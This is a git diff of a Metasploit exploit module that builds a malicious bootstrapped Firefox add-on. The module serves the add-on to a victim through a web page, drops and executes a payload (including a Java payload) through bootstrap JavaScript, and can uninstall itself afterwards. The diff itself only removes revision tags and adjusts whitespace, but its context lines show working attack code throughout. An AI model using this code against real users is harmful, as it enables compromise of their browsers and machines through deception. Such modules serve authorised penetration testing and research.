diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index f3c4a095a8..d229da239d 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -23,8 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote super( update_info( info, 'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution', 'Description' => %q{ - This exploit dynamically creates a .xpi addon file. - The resulting bootstrapped Firefox addon is presented to + This exploit dynamically creates a .xpi addon file. + The resulting bootstrapped Firefox addon is presented to the victim via a web page with. The victim's Firefox browser will pop a dialog asking if they trust the addon. @@ -37,7 +33,6 @@ class Metasploit3 < Msf::Exploit::Remote }, 'License' => MSF_LICENSE, 'Author' => [ 'mihi' ], - 'Version' => '$Revision$', 'References' => [ [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ] @@ -116,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote # If we haven't returned yet, then this is a request for our xpi, # so build one - + if target.name == 'Generic (Java Payload)' jar = p.encoded_jar jar.build_manifest(:main_class => "metasploit.Payload") @@ -144,9 +139,9 @@ class Metasploit3 < Msf::Exploit::Remote bootstrap_script = %q| function startup(data, reason) { - var file = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("ProfD", Components.interfaces.nsIFile); + var file = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("ProfD", Components.interfaces.nsIFile); file.append("extensions"); | bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| @@ -154,31 +149,31 @@ function startup(data, reason) { bootstrap_script << %q| file.append(xpi_guid); file.append(payload_name); - var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("TmpD", Components.interfaces.nsIFile); + var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("TmpD", Components.interfaces.nsIFile); tmp.append(payload_name); - tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); + tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); file.copyTo(tmp.parent, tmp.leafName); | bootstrap_script << payload_script - + if (datastore['AutoUninstall']) bootstrap_script << %q| try { // Fx < 4.0 Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); } catch (e) {} try { // Fx 4.0 and later - Components.utils.import("resource://gre/modules/AddonManager.jsm"); - AddonManager.getAddonByID(xpi_guid, function(addon) { - addon.uninstall(); - }); + Components.utils.import("resource://gre/modules/AddonManager.jsm"); + AddonManager.getAddonByID(xpi_guid, function(addon) { + addon.uninstall(); + }); } catch (e) {} | end bootstrap_script << "}" - + zip.add_file('bootstrap.js', bootstrap_script) zip.add_file(payload_name, payload_file) zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")